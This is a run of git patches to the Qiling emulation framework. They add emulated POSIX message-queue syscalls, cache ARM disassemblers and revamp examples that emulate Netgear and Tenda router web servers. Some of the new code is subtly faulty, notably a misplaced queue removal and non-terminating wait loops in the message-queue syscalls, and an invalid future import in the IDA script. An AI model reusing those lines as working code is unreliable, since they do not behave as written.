# Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -from functools import cached_property +from functools import cached_property, lru_cache from unicorn import Uc, UC_ARCH_ARM, UC_MODE_ARM, UC_MODE_THUMB, UC_MODE_BIG_ENDIAN from capstone import Cs, CS_ARCH_ARM, CS_MODE_ARM, CS_MODE_THUMB, CS_MODE_BIG_ENDIAN @@ -70,11 +70,15 @@ def effective_pc(self) -> int: # append 1 to pc if in thumb mode, or 0 otherwise return self.regs.pc | int(self.is_thumb) + @lru_cache(maxsize=4) + def __cached_disasm(self, mode: int) -> Cs: + return Cs(CS_ARCH_ARM, mode) + @property def disassembler(self) -> Cs: - # note: we do not cache the disassembler instance; rather we refresh it - # each time to make sure current endianess and thumb mode are taken into - # account + # note: since endianess and thumb mode might change during execution, we cannot + # cache the disassembler instance directly; rather we pick the appropriate cached + # instance mode = CS_MODE_ARM @@ -84,13 +88,17 @@ def disassembler(self) -> Cs: if self.is_thumb: mode += CS_MODE_THUMB - return Cs(CS_ARCH_ARM, mode) + return self.__cached_disasm(mode) + + @lru_cache(maxsize=4) + def __cached_asm(self, mode: int) -> Ks: + return Ks(KS_ARCH_ARM, mode) @property def assembler(self) -> Ks: - # note: we do not cache the assembler instance; rather we refresh it - # each time to make sure current endianess and thumb mode are taken into - # account + # note: since endianess and thumb mode might change during execution, we cannot + # cache the assembler instance directly; rather we pick the appropriate cached + # instance mode = KS_MODE_ARM @@ -100,7 +108,7 @@ def assembler(self) -> Ks: if self.is_thumb: mode += KS_MODE_THUMB - return Ks(KS_ARCH_ARM, mode) + return self.__cached_asm(mode) def enable_vfp(self) -> None: # set full access to cp10 and cp11 From 7ef734d82d9dc3484f65291555968aaa8b0526c8 Mon Sep 17 00:00:00 2001 From: chinggg <24590067+chinggg@users.noreply.github.com> Date: Wed, 21 Jun 2023 11:17:26 +0800 Subject: [PATCH 092/103] feat(os): add posix message queue syscalls posix: add QlMsq to QlOsPosix syscalls: implement msgget, msgsnd, msgrcv --- qiling/os/posix/const.py | 9 ++ qiling/os/posix/posix.py | 57 ++++++++++- qiling/os/posix/syscall/__init__.py | 1 + qiling/os/posix/syscall/msg.py | 145 ++++++++++++++++++++++++++++ qiling/os/posix/syscall/syscall.py | 21 +++- 5 files changed, 230 insertions(+), 3 deletions(-) create mode 100644 qiling/os/posix/syscall/msg.py diff --git a/qiling/os/posix/const.py b/qiling/os/posix/const.py index 103559f02..a9abc7abd 100644 --- a/qiling/os/posix/const.py +++ b/qiling/os/posix/const.py @@ -1025,6 +1025,15 @@ class qnx_mmap_flags(Flag): HUGETLB_FLAG_ENCODE_SHIFT = 26 HUGETLB_FLAG_ENCODE_MASK = 0x3f +# see: https://elixir.bootlin.com/linux/v5.19.17/source/include/uapi/linux/msg.h +MSG_NOERROR = 0o10000 # no error if message is too big +MSG_EXCEPT = 0o20000 # recv any msg except of specified type +MSG_COPY = 0o40000 # copy (not remove) all queue messages + +MSGMNI = 32000 # <= IPCMNI, max # of msg queue identifiers +MSGMAX = 8192 # <= INT_MAX, max size of message (bytes) +MSGMNB = 16384 # <= INT_MAX, default max size of a message queue + # ipc syscall SEMOP = 1 SEMGET = 2 diff --git a/qiling/os/posix/posix.py b/qiling/os/posix/posix.py index e7e609b98..c98948e55 100644 --- a/qiling/os/posix/posix.py +++ b/qiling/os/posix/posix.py @@ -3,6 +3,7 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # +from collections import deque from inspect import signature, Parameter from typing import Dict, TextIO, Tuple, Union, Callable, IO, List, Optional @@ -26,7 +27,7 @@ from qiling.const import QL_ARCH, QL_OS, QL_INTERCEPT from qiling.exception import QlErrorSyscallNotFound from qiling.os.os import QlOs -from qiling.os.posix.const import NR_OPEN, errors +from qiling.os.posix.const import MSGMNB, NR_OPEN, errors from qiling.utils import ql_get_module, ql_get_module_function SYSCALL_PREF: str = f'ql_syscall_' @@ -136,6 +137,53 @@ def get_by_attaddr(self, shmaddr: int) -> Optional[QlShmId]: return next((shmobj for shmobj in self.__shm.values() if shmobj.attach.count(shmaddr) > 0), None) +class QlMsgBuf: + def __init__(self, mtype: int, mtext: bytes) -> None: + self.mtype = mtype + self.mtext = mtext + + +# vaguely reflects a msqid64_ds structure +class QlMsqId: + def __init__(self, key: int, uid: int, gid: int, mode: int) -> None: + # ipc64_perm + self.key = key + self.uid = uid + self.gid = gid + self.mode = mode + + self.queue = deque(maxlen=MSGMNB) + + def __len__(self): + return len(self.queue) + + +class QlMsq: + def __init__(self) -> None: + self.__msq: Dict[int, QlMsqId] = {} + self.__id: int = 0x0F000000 + + def __len__(self) -> int: + return len(self.__msq) + + def add(self, msq: QlMsqId) -> int: + msqid = self.__id + self.__msq[msqid] = msq + + self.__id += 0x1000 + + return msqid + + def remove(self, msqid: int) -> None: + del self.__msq[msqid] + + def get_by_key(self, key: int) -> Tuple[int, Optional[QlMsqId]]: + return next(((msqid, msqobj) for msqid, msqobj in self.__msq.items() if msqobj.key == key), (-1, None)) + + def get_by_id(self, msqid: int) -> Optional[QlMsqId]: + return self.__msq.get(msqid, None) + + class QlOsPosix(QlOs): def __init__(self, ql: Qiling): @@ -203,6 +251,7 @@ def __init__(self, ql: Qiling): self.stderr = self._stderr self._shm = QlShm() + self._msq = QlMsq() def __get_syscall_mapper(self, archtype: QL_ARCH): qlos_path = f'.os.{self.type.name.lower()}.map_syscall' @@ -397,4 +446,8 @@ def fd(self): @property def shm(self): - return self._shm \ No newline at end of file + return self._shm + + @property + def msq(self): + return self._msq diff --git a/qiling/os/posix/syscall/__init__.py b/qiling/os/posix/syscall/__init__.py index a8c25d18f..38b10e64e 100644 --- a/qiling/os/posix/syscall/__init__.py +++ b/qiling/os/posix/syscall/__init__.py @@ -6,6 +6,7 @@ from .futex import * from .ioctl import * from .mman import * +from .msg import * from .net import * from .personality import * from .poll import * diff --git a/qiling/os/posix/syscall/msg.py b/qiling/os/posix/syscall/msg.py new file mode 100644 index 000000000..330e6f178 --- /dev/null +++ b/qiling/os/posix/syscall/msg.py @@ -0,0 +1,145 @@ +from typing import Optional +from qiling import Qiling +from qiling.os.posix.const import * +from qiling.os.posix.posix import QlMsqId, QlMsgBuf + + +def __find_msg(msq: QlMsqId, msgtyp: int, msgflg: int) -> Optional[QlMsgBuf]: + if msgtyp == 0: # SEARCH_ANY: get first + return msq.queue[0] + cnt = 0 + for msg in msq.queue: + # SEARCH_NUMBER, SEARCH_LESSEQUAL, SEARCH_EQUAL, SEARCH_NOTEQUAL + if (msgflg & MSG_COPY and cnt == msgtyp) or \ + (msgtyp < 0 and msg.mtype <= -msgtyp) or \ + (msgtyp > 0 and msg.mtype == msgtyp) or \ + (msgflg & MSG_EXCEPT and msg.mtype != msgtyp): + return msg + cnt += 1 + + +def __perms(ql: Qiling, msq: QlMsqId, flag: int) -> int: + """ + # see: https://elixir.bootlin.com/linux/v5.19.17/source/ipc/util.c#L553 + # check whether the user has permissions to access this message queue + # FIXME: should probably also use cuid and (c)gid, but we don't support it yet + # TODO: other ipc mechanisms like shm can also reuse this + """ + request_mode = (flag >> 6) | (flag >> 3) | flag + granted_mode = msq.mode + if ql.os.uid == msq.uid: + granted_mode >>= 6 + # is there some bit set in requested_mode but not in granted_mode? + if request_mode & ~granted_mode & 0o007: + return -1 # EACCES + return 0 + +def ql_syscall_msgget(ql: Qiling, key: int, msgflg: int): + def __create_msq(key: int, flags: int) -> int: + """Create a new message queue for the specified key. + + Returns: msqid of the newly created message queue, -1 if an error has occurred + """ + + if len(ql.os.msq) >= MSGMNI: + return -1 # ENOSPC + + mode = flags & ((1 << 9) - 1) + + msqid = ql.os.msq.add(QlMsqId(key, ql.os.uid, ql.os.gid, mode)) + + ql.log.debug(f'created a new msg queue: key = {key:#x}, mode = 0{mode:o}. assigned id: {msqid:#x}') + + return msqid + + # create new message queue + if key == IPC_PRIVATE: + msqid = __create_msq(key, msgflg) + + else: + msqid, msq = ql.os.msq.get_by_key(key) + + # a message queue with the specified key does not exist + if msq is None: + # the user asked to create a new one? + if msgflg & IPC_CREAT: + msqid = __create_msq(key, msgflg) + + else: + return -1 # ENOENT + + # a message queue with the specified key exists + else: + # the user asked to create a new one? + if msgflg & (IPC_CREAT | IPC_EXCL): + return -1 # EEXIST + + if err := __perms(ql, msq, msgflg): + return err # EACCES + + return msqid + +def ql_syscall_msgsnd(ql: Qiling, msqid: int, msgp: int, msgsz: int, msgflg: int): + msq = ql.os.msq.get_by_id(msqid) + + if msq is None: + return -1 # EINVAL + + # Check if the user has write permissions for the message queue + if err := __perms(ql, msq, 0o222): # S_IWUGO + return err # EACCES + + msg_type = ql.mem.read_ptr(msgp) + msg_text = ql.mem.read(msgp + ql.arch.pointersize, msgsz) + + while True: + if len(msq.queue) < msq.queue.maxlen: + break + if msgflg & IPC_NOWAIT: + return -1 # EAGAIN + + msq.queue.append(QlMsgBuf(msg_type, bytes(msg_text))) + + return 0 # Success + + +def ql_syscall_msgrcv(ql: Qiling, msqid: int, msgp: int, msgsz: int, msgtyp: int, msgflg: int): + msq = ql.os.msq.get_by_id(msqid) + + if msq is None: + return -1 # EINVAL + + if msgflg & MSG_COPY: + if msgflg & MSG_EXCEPT or not (msgflg & IPC_NOWAIT): + return -1 # EINVAL + + # Check if the user has read permissions for the message queue + if err := __perms(ql, msq, 0o444): # S_IRUGO + return err # EACCES + + while True: + msg = __find_msg(msq, msgtyp, msgflg) + if msg is not None: + break + if msgflg & IPC_NOWAIT: + return -1 # ENOMSG + if not (msgflg & MSG_COPY): + msq.queue.remove(msg) + + if msgsz < len(msg.mtext): + if not (msgflg & MSG_NOERROR): + return -1 # E2BIG + else: + sz = msgsz + else: + sz = len(msg.mtext) + ql.mem.write_ptr(msgp, msg.mtype) + ql.mem.write(msgp + ql.arch.pointersize, msg.mtext[:sz]) + + return sz # Success + +__all__ = [ + 'ql_syscall_msgget', + 'ql_syscall_msgsnd', + 'ql_syscall_msgrcv' +] diff --git a/qiling/os/posix/syscall/syscall.py b/qiling/os/posix/syscall/syscall.py index 3aba66931..60dd9a22f 100644 --- a/qiling/os/posix/syscall/syscall.py +++ b/qiling/os/posix/syscall/syscall.py @@ -7,6 +7,7 @@ from qiling.os.posix.const import * from .shm import * +from .msg import * def ql_syscall_ipc(ql: Qiling, call: int, first: int, second: int, third: int, ptr: int, fifth: int): @@ -27,11 +28,29 @@ def __call_shmdt(*args: int) -> int: def __call_shmget(*args: int) -> int: return ql_syscall_shmget(ql, args[0], args[1], args[2]) + + def __call_msgget(*args: int) -> int: + return ql_syscall_msgget(ql, args[0], args[1]) + + def __call_msgsnd(*args: int) -> int: + return ql_syscall_msgsnd(ql, args[0], args[3], args[1], args[2]) + + def __call_msgrcv(*args: int) -> int: + if version == 0: + if args[3] == 0: + return -1 # EINVAL + msgp = ql.mem.read_ptr(args[3]) + msgtyp = ql.mem.read_ptr(args[3] + ql.arch.pointersize) + return ql_syscall_msgrcv(ql, args[0], msgp, args[1], msgtyp, args[2]) + return ql_syscall_msgrcv(ql, args[0], args[3], args[1], args[4], args[2]) ipc_call = { SHMAT: __call_shmat, SHMDT: __call_shmdt, - SHMGET: __call_shmget + SHMGET: __call_shmget, + MSGGET: __call_msgget, + MSGSND: __call_msgsnd, + MSGRCV: __call_msgrcv } if call not in ipc_call: From 526a1b0a29fe3ec07a78403655fdfcd33b97681b Mon Sep 17 00:00:00 2001 From: elicn Date: Wed, 28 Jun 2023 21:27:46 +0300 Subject: [PATCH 093/103] Rename and revamp netgear 6220 example --- examples/netgear_6220.py | 104 ++++++++++++++++++++++++ examples/netgear_6220_mips32el_linux.py | 75 ----------------- 2 files changed, 104 insertions(+), 75 deletions(-) create mode 100644 examples/netgear_6220.py delete mode 100644 examples/netgear_6220_mips32el_linux.py diff --git a/examples/netgear_6220.py b/examples/netgear_6220.py new file mode 100644 index 000000000..c2c65acc6 --- /dev/null +++ b/examples/netgear_6220.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +# Setup: +# - Unpack firmware rootfs (assumed hereby: 'rootfs/netgear_r6220') +# - The firmware expects '/dev/mtdblock11' to exist and be functional, otherwise it crashes +# - cd rootfs/netgear_r6220/dev +# - dd if=/dev/zero of=mtdblock11 bs=1024 count=129030 +# - mkfs.ext4 mtdblock11 +# +# Run: +# $ PYTHONPATH=/path/to/qiling ROOTFS=/path/to/netgear_rootfs python3 netgear_6220.py +# +# Emulation: +# Soon after Qiling starts emulating the firmware it will look like it is done running, but actually it +# isn't. During the emulation a few OS child processes are spawned, waiting for connection. To see them +# run 'ps | grep python3'. +# +# Once a connection is established on 127.0.0.1:8080, more child processes will be spawned. Note that in +# case a child process dies with an exception, it turns into a zombie process. To kill the spawned child +# processes, run 'pkill python3' + +from typing import List +import logging +import os + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_INTERCEPT, QL_VERBOSE +from qiling.log import QlColoredFormatter, QlBaseFormatter + + +# user may set 'ROOTFS' environment variable to use as rootfs +ROOTFS = os.environ.get('ROOTFS', r'./rootfs/netgear_r6220') + + +def __onexit_fork(ql: Qiling, retval: int) -> None: + # as the emulated binary forks more and more child processes, it becomes hard to keep track + # of their log entries and tell them apart. here we intercept the 'fork' system call on-exit + # (i.e. after it was already simulated, but before resuming emulation) and modify the newly + # created qiling instance's logger to show the os child processes id as part of the logs. + # + # note: os process id should not be confused with the internal qiling thread id, which does + # not exist here since we do not use qiling multithreading feature. + + # fork returns 0 on the newly created child process + if retval == 0: + GREEN = '\033[92m' + DEFAULT = '\033[39m' + + def __add_color(s: str) -> str: + """Colorize text. + """ + + return f'{GREEN}{s}{DEFAULT}' + + def __do_nothing(s: str) -> str: + """Use text as-is. + """ + + return s + + # patch current logger instance handlers to show the process id + for h in ql.log.handlers: + formatter = h.formatter + + if isinstance(formatter, QlColoredFormatter): + fmt = __add_color + + elif isinstance(formatter, QlBaseFormatter): + fmt = __do_nothing + + else: + raise RuntimeError('unexpected formatter class') + + style = logging.PercentStyle(f'%(levelname)s {fmt(f"[{os.getpid():4d}]")} %(message)s') + + formatter._style = style + formatter._fmt = style._fmt + + +def my_sandbox(path: List[str], rootfs: str) -> None: + ql = Qiling(path, rootfs, profile='netgear_6220.ql', verbose=QL_VERBOSE.DEBUG) + + ql.add_fs_mapper(r'/proc', r'/proc') + ql.os.set_syscall('fork', __onexit_fork, QL_INTERCEPT.EXIT) + + ql.run() + + +if __name__ == '__main__': + argv = [ + f'{ROOTFS}/bin/mini_httpd', + '-d', '/www', + '-r', 'NETGEAR R6220', + '-c', '**.cgi', + '-t', '300' + ] + + my_sandbox(argv, ROOTFS) diff --git a/examples/netgear_6220_mips32el_linux.py b/examples/netgear_6220_mips32el_linux.py deleted file mode 100644 index 06299773c..000000000 --- a/examples/netgear_6220_mips32el_linux.py +++ /dev/null @@ -1,75 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -# After mapping /proc there will be a /dev/mtdblock11 missing and crash -# To fix this, -# - cd $yourfirmware_rootfs/dev -# - dd if=/dev/zero of=mtdblock11 bs=1024 count=129030 -# - mkfs.ext4 mtdblock11 -# -# This firmware will more or less alive now. - -from colorama import Back -import struct -import sys -sys.path.append("..") - -from qiling import Qiling -from qiling.const import QL_INTERCEPT, QL_VERBOSE -from qiling.os.posix import syscall -from qiling.os.const import UINT, POINTER - -def my_syscall_write(ql, write_fd, write_buf, write_count, *rest): - if write_fd == 2 and ql.os.fd[2].__class__.__name__ == 'ql_pipe': - return -1 - else: - return syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *rest) - - -def my_bind(ql: Qiling): - params = ql.os.resolve_fcall_params({ - 'fd': UINT, - 'addr': POINTER, - 'addrlen': UINT - }) - - bind_fd = params['fd'] - bind_addr = params['addr'] - bind_addrlen = params['addrlen'] - - print(Back.GREEN + f'Hijack bind({bind_fd}, {bind_addr:#x}, {bind_addrlen})' + Back.RESET) - # read from memory (start_address, len) - data = ql.mem.read(bind_addr, bind_addrlen) - # custom unpack (your own ql.unpack) of a C struct from memory - # https://linux.die.net/man/7/ip -> struct - sin_family = struct.unpack(" format_string -> https://docs.python.org/3/library/struct.html#format-strings - port, host = struct.unpack(">HI", data[2:8]) - # big-endian unsigned short, unsigned int -> format_string - print(Back.RED + f'[*] Socket Infos:' + Back.RESET) - print(f''' - Family: {sin_family} - Port: {port} (no root: +8000) - Host-interface?: {host} - ''') - return 0 # from syscall.ql_syscall_bind(ql, bind_fd, bind_addr, bind_addrlen) - -def my_netgear(path, rootfs): - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, profile="netgear_6220.ql", multithread=False) - ql.os.root = False - - ql.add_fs_mapper('/proc', '/proc') - ql.os.set_syscall(4004, my_syscall_write) - ql.os.set_api('bind', my_bind, QL_INTERCEPT.ENTER) # intercepting the bind call on enter - - ql.run() - -if __name__ == "__main__": - my_netgear(["rootfs/netgear_r6220/bin/mini_httpd", - "-d", "/www", - "-r", "NETGEAR R6220", - "-c", "**.cgi", - "-t", "300"], - "rootfs/netgear_r6220") From d1accb972adcc3dc2efafa7dd1189ab1dcbd0c59 Mon Sep 17 00:00:00 2001 From: elicn Date: Wed, 28 Jun 2023 21:44:40 +0300 Subject: [PATCH 094/103] Revamp IDA custom script --- .../extensions/idaplugin/custom_script.py | 56 ++++++++++--------- 1 file changed, 30 insertions(+), 26 deletions(-) diff --git a/examples/extensions/idaplugin/custom_script.py b/examples/extensions/idaplugin/custom_script.py index 78ffca21d..6461f45d0 100644 --- a/examples/extensions/idaplugin/custom_script.py +++ b/examples/extensions/idaplugin/custom_script.py @@ -1,37 +1,41 @@ -from qiling import * +from future import __annotations__ -class QILING_IDA(): - def __init__(self): - pass +from typing import TYPE_CHECKING, List - def _show_context(self, ql:Qiling): - registers = [ k for k in ql.arch.regs.register_mapping.keys() if type(k) is str ] - for idx in range(0, len(registers), 3): - regs = registers[idx:idx+3] - s = "\t".join(map(lambda v: f"{v:4}: {ql.arch.regs.__getattr__(v):016x}", regs)) - ql.log.info(s) +if TYPE_CHECKING: + from qiling import Qiling + from qiling.core_hooks_types import HookRet - def custom_prepare(self, ql:Qiling): + +class QILING_IDA: + + def _show_context(self, ql: Qiling): + registers = tuple(ql.arch.regs.register_mapping.keys()) + grouping = 4 + + for idx in range(0, len(registers), grouping): + ql.log.info('\t'.join(f'{r:5s}: {ql.arch.regs.read(r):016x}' for r in registers[idx:idx + grouping])) + + def custom_prepare(self, ql: Qiling) -> None: ql.log.info('Context before starting emulation:') self._show_context(ql) - def custom_continue(self, ql:Qiling): - ql.log.info('custom_continue hook.') + def custom_continue(self, ql: Qiling) -> List[HookRet]: + ql.log.info('custom_continue hook') self._show_context(ql) - hook = [] - return hook - def custom_step(self, ql:Qiling): - def step_hook(ql, addr, size): - ql.log.info(f"Executing: {hex(addr)}") + return [] + + def custom_step(self, ql: Qiling) -> List[HookRet]: + def step_hook(ql: Qiling, addr: int, size: int): + ql.log.info(f'Executing: {addr:#x}') self._show_context(ql) ql.log.info('custom_step hook') - hook = [] - hook.append(ql.hook_code(step_hook)) - return hook - - def custom_execute_selection(self, ql:Qiling): - ql.log.info('custom execute selection hook') - hook = [] - return hook \ No newline at end of file + + return [ql.hook_code(step_hook)] + + def custom_execute_selection(self, ql: Qiling) -> List[HookRet]: + ql.log.info('custom_execute_selection hook') + + return [] From c85f5926d87f11eb586c6caadce3064d54130014 Mon Sep 17 00:00:00 2001 From: elicn Date: Wed, 28 Jun 2023 21:53:13 +0300 Subject: [PATCH 095/103] Revamp Tenda AC15 example --- examples/tendaac1518_httpd.py | 92 ++++++++++++++++++----------------- 1 file changed, 47 insertions(+), 45 deletions(-) diff --git a/examples/tendaac1518_httpd.py b/examples/tendaac1518_httpd.py index 819e8310c..26e98be7f 100644 --- a/examples/tendaac1518_httpd.py +++ b/examples/tendaac1518_httpd.py @@ -1,19 +1,25 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # - -# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip -# 2. unzip -# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin -# 4. locate squashfs-root -# 5. rm -rf webroot && mv webroot_ro webroot +# Setup: +# - Unpack firmware rootfs (assumed hereby: 'rootfs/tendaac15') +# - AC15 firmware may be acquired from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip +# - Refresh webroot directory: +# - Enter the 'squashfs-root' directory +# - rm -rf webroot +# - mv webroot_ro webroot +# - Set network device +# - Open "qiling/profiles/linux.ql" +# - Set 'ifrname_override' to your hosting system network device name (e.g. eth0, lo, etc.) # -# notes: we are using rootfs in this example, so rootfs = squashfs-root -# +# Run: +# $ PYTHONPATH=/path/to/qiling ROOTFS=/path/to/tenda_rootfs python3 tendaac1518_httpd.py -import os, socket, threading +import os +import socket +import threading import sys sys.path.append("..") @@ -21,66 +27,62 @@ from qiling import Qiling from qiling.const import QL_VERBOSE -def patcher(ql: Qiling): - br0_addr = ql.mem.search("br0".encode() + b'\x00') - for addr in br0_addr: - ql.mem.write(addr, b'lo\x00') +# user may set 'ROOTFS' environment variable to use as rootfs +ROOTFS = os.environ.get('ROOTFS', r'./rootfs/tendaac15') + def nvram_listener(): - server_address = 'rootfs/var/cfm_socket' - data = "" + server_address = fr'{ROOTFS}/var/cfm_socket' - try: + if os.path.exists(server_address): os.unlink(server_address) - except OSError: - if os.path.exists(server_address): - raise # Create UDS socket - sock = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) + sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.bind(server_address) sock.listen(1) - while True: - connection, _ = sock.accept() + data = bytearray() - try: - while True: - data += str(connection.recv(1024)) + with open('cfm_socket.log', 'wb') as ofile: + while True: + connection, _ = sock.accept() - if "lan.webiplansslen" in data: - connection.send('192.168.170.169'.encode()) - else: - break + try: + while True: + data += connection.recv(1024) - data = "" - finally: - connection.close() + if b'lan.webiplansslen' not in data: + break -def myvfork(ql: Qiling): - regreturn = 0 - ql.log.info("vfork() = %d" % regreturn) + connection.send(b'192.168.170.169') + + ofile.write(data) + data.clear() + finally: + connection.close() - return regreturn def my_sandbox(path, rootfs): ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) - ql.add_fs_mapper("/dev/urandom","/dev/urandom") - ql.hook_address(patcher, ql.loader.elf_entry) + ql.add_fs_mapper(r'/dev/urandom', r'/dev/urandom') - # $ gdb-multiarch -q rootfs/bin/httpd + # $ gdb-multiarch -q rootfs/tendaac15/bin/httpd # gdb> set remotetimeout 100 # gdb> target remote localhost:9999 - ql.debugger = False - if ql.debugger == True: - ql.os.set_syscall("vfork", myvfork) + if ql.debugger: + def __vfork(ql: Qiling): + return 0 + + ql.os.set_syscall('vfork', __vfork) ql.run() -if __name__ == "__main__": + +if __name__ == '__main__': nvram_listener_therad = threading.Thread(target=nvram_listener, daemon=True) nvram_listener_therad.start() - my_sandbox(["rootfs/bin/httpd"], "rootfs") + my_sandbox([fr'{ROOTFS}/bin/httpd'], ROOTFS) From 88c69ebb2cb390ac9f996acc9554598770338e79 Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 3 Jul 2023 14:21:53 +0300 Subject: [PATCH 096/103] Make progress animation more robust --- qiling/loader/pe.py | 120 ++++++++++++++++++++++++++++++++++++-------- 1 file changed, 100 insertions(+), 20 deletions(-) diff --git a/qiling/loader/pe.py b/qiling/loader/pe.py index 9234bbafa..85e9fb7cf 100644 --- a/qiling/loader/pe.py +++ b/qiling/loader/pe.py @@ -26,6 +26,7 @@ from .loader import QlLoader, Image if TYPE_CHECKING: + from logging import Logger from qiling import Qiling @@ -191,7 +192,7 @@ def load_dll(self, name: str, is_driver: bool = False) -> int: relocate = True if relocate: - with ShowProgress(0.1337): + with ShowProgress(self.ql.log, 0.1337): dll.relocate_image(image_base) data = bytearray(dll.get_memory_mapped_image()) @@ -870,44 +871,123 @@ def load(self, pe: Optional[pefile.PE]): class ShowProgress: - """Display a progress animation while performing a time - consuming task. + """Display a progress animation while performing a time consuming task. Example: - >>> with ShowProgress(0.1): + >>> with ShowProgress(logger, 0.15): ... do_some_time_consuming_task() """ - def __init__(self, interval: float) -> None: - import sys - from threading import Thread, Event + # animation frames: a sequence of chars or strings to display. any sequence of string elements + # may be used as long as they are of the same length. + # + # for example: ['> ', '>> ', ' >> ', ' >>', ' >', ' '] + _frames_ = r'/-\|' + + # animation marker: this is used to tell animation log records from the rest. + _marker_ = r'$__ql_anim__' - # animation frames; any sequence of chars or strings may be used, as long - # as they are of the same length. e.g. ['> ', '>> ', ' >> ', ' >>', ' >', ' '] - frames = r'/-\|' - stream = sys.stderr + def __init__(self, logger: Logger, interval: float) -> None: + from typing import List, Callable + from threading import Thread, Event def show_animation(): i = 0 while not self.stopped.wait(interval): - # TODO: find a proper way to use the logger for that - print(f'[{frames[i % len(frames)]}]', end='\r', flush=True, file=stream) + frame = self._frames_[i % len(self._frames_)] + logger.info(f'{self._marker_}{frame}') + i += 1 - def show_nothing(): - pass + self.stopped = Event() + self.thread = Thread(target=show_animation) - # avoid flooding log files with animation frames - action = show_animation if stream.isatty() else show_nothing + self.logger = logger + self.handlers_restorers: List[Callable[[], None]] = [] - self.stopped = Event() - self.thread = Thread(target=action) + def __setup_handlers(self): + from logging import Filter, Formatter, LogRecord, StreamHandler + + # while progress animation is useful on tty streams, it is not very useful on log files + # and most probably just flood the log files with animation frames. + # + # to avoid such flooding an animation filter is added to the non-tty stream handlers to + # filter out the animation records. in addition, tty stream handlers are assigned with + # an animation formatter to display the animation frames nicely. + # + # when the animation context exits, all the changes made to the handlers are reverted. + + def has_anim_marker(rec: LogRecord) -> bool: + """Tell whether a log record is an animation record or not. + """ + + return rec.getMessage().startswith(ShowProgress._marker_) + + def strip_anim_marker(rec: LogRecord) -> None: + """Remove animation marker from log record. + """ + + rec.message = rec.message[len(ShowProgress._marker_):] + + class AnimFormatter(Formatter): + """A log record formatter that removes animation markers. + """ + + def formatMessage(self, record: LogRecord) -> str: + if has_anim_marker(record): + strip_anim_marker(record) + + return super().formatMessage(record) + + class AnimFilter(Filter): + """A log record filter that thwarts animation records. + """ + + def filter(self, record: LogRecord) -> bool: + return not has_anim_marker(record) + + # the animation frames will be displayed within brackets + anim_formatter = AnimFormatter('[%(message)s]') + anim_filter = AnimFilter() + + for h in self.logger.handlers: + # if this is a tty stream handler, modify some of its attributes to + # let the animation display correctly + if isinstance(h, StreamHandler) and h.stream.isatty(): + orig_terminator = h.terminator + orig_formatter = h.formatter + + h.terminator = '\r' + h.setFormatter(anim_formatter) + + def __restore_modified() -> None: + h.terminator = orig_terminator + h.setFormatter(orig_formatter) + + restorer = __restore_modified + + # otherwise, apply a filter that will ignore animation records + else: + h.addFilter(anim_filter) + + def __restore_silenced() -> None: + h.removeFilter(anim_filter) + + restorer = __restore_silenced + + self.handlers_restorers.append(restorer) + + def __restore_handlers(self) -> None: + for restorer in self.handlers_restorers: + restorer() def __enter__(self): + self.__setup_handlers() self.thread.start() return self - def __exit__(self, *args) -> None: + def __exit__(self, extype, value, traceback): self.stopped.set() + self.__restore_handlers() From 260aad777f4719d14771f8f6c28460f1566b2180 Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 3 Jul 2023 14:27:26 +0300 Subject: [PATCH 097/103] Some more opportunistic PEP8 fixes --- qiling/const.py | 2 +- qiling/extensions/pipe.py | 31 +++++++++++++++++++------------ qiling/os/windows/windows.py | 5 ++--- qiling/utils.py | 2 +- 4 files changed, 23 insertions(+), 17 deletions(-) diff --git a/qiling/const.py b/qiling/const.py index 8aabafe4e..fca6dde01 100644 --- a/qiling/const.py +++ b/qiling/const.py @@ -88,7 +88,7 @@ def __casefold_enum(e: Type[T]) -> Mapping[str, T]: '''Create a casefolded mapping of an enum to allow case-insensitive lookup. ''' - return dict((k.casefold(), v) for k, v in e._member_map_.items()) + return dict((k.casefold(), v) for k, v in e.__members__.items()) debugger_map = __casefold_enum(QL_DEBUGGER) diff --git a/qiling/extensions/pipe.py b/qiling/extensions/pipe.py index f69d1e326..f92fe9c88 100644 --- a/qiling/extensions/pipe.py +++ b/qiling/extensions/pipe.py @@ -2,19 +2,20 @@ # # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # + import io import os -from typing import TextIO from qiling.os.posix import stat + class SimpleStringBuffer(io.BytesIO): """Simple FIFO pipe. """ def __init__(self): super().__init__() - + # Compatible with old implementation def seek(self, offset: int, origin: int = 0) -> int: # Imitate os.lseek @@ -30,22 +31,23 @@ def write(self, buf: bytes) -> int: ret = super().write(buf) super().seek(pos) return ret - + # Compatible with previous TextIO @property def name(self): return None + class SimpleStreamBase: def __init__(self, fd: int): super().__init__() self.__fd = fd self.__closed = False - + def close(self) -> None: self.__closed = True - + @property def closed(self) -> bool: return self.__closed @@ -56,18 +58,21 @@ def fileno(self) -> int: def fstat(self): return stat.Fstat(self.fileno()) + class SimpleInStream(SimpleStreamBase, SimpleStringBuffer): """Simple input stream. May be used to mock stdin. """ pass + class SimpleOutStream(SimpleStreamBase, SimpleStringBuffer): """Simple output stream. May be used to mock stdout or stderr. """ pass + class NullOutStream(SimpleStreamBase): """Null out-stream, may be used to disregard process output. """ @@ -81,31 +86,33 @@ def flush(self) -> None: def writable(self) -> bool: return True + class SimpleBufferedStream(io.BytesIO): """Simple buffered IO. """ def __init__(self): - super.__init__() + super().__init__() + class InteractiveInStream(io.BytesIO): def read(self, size: int) -> bytes: ''' Read from the BytesIO 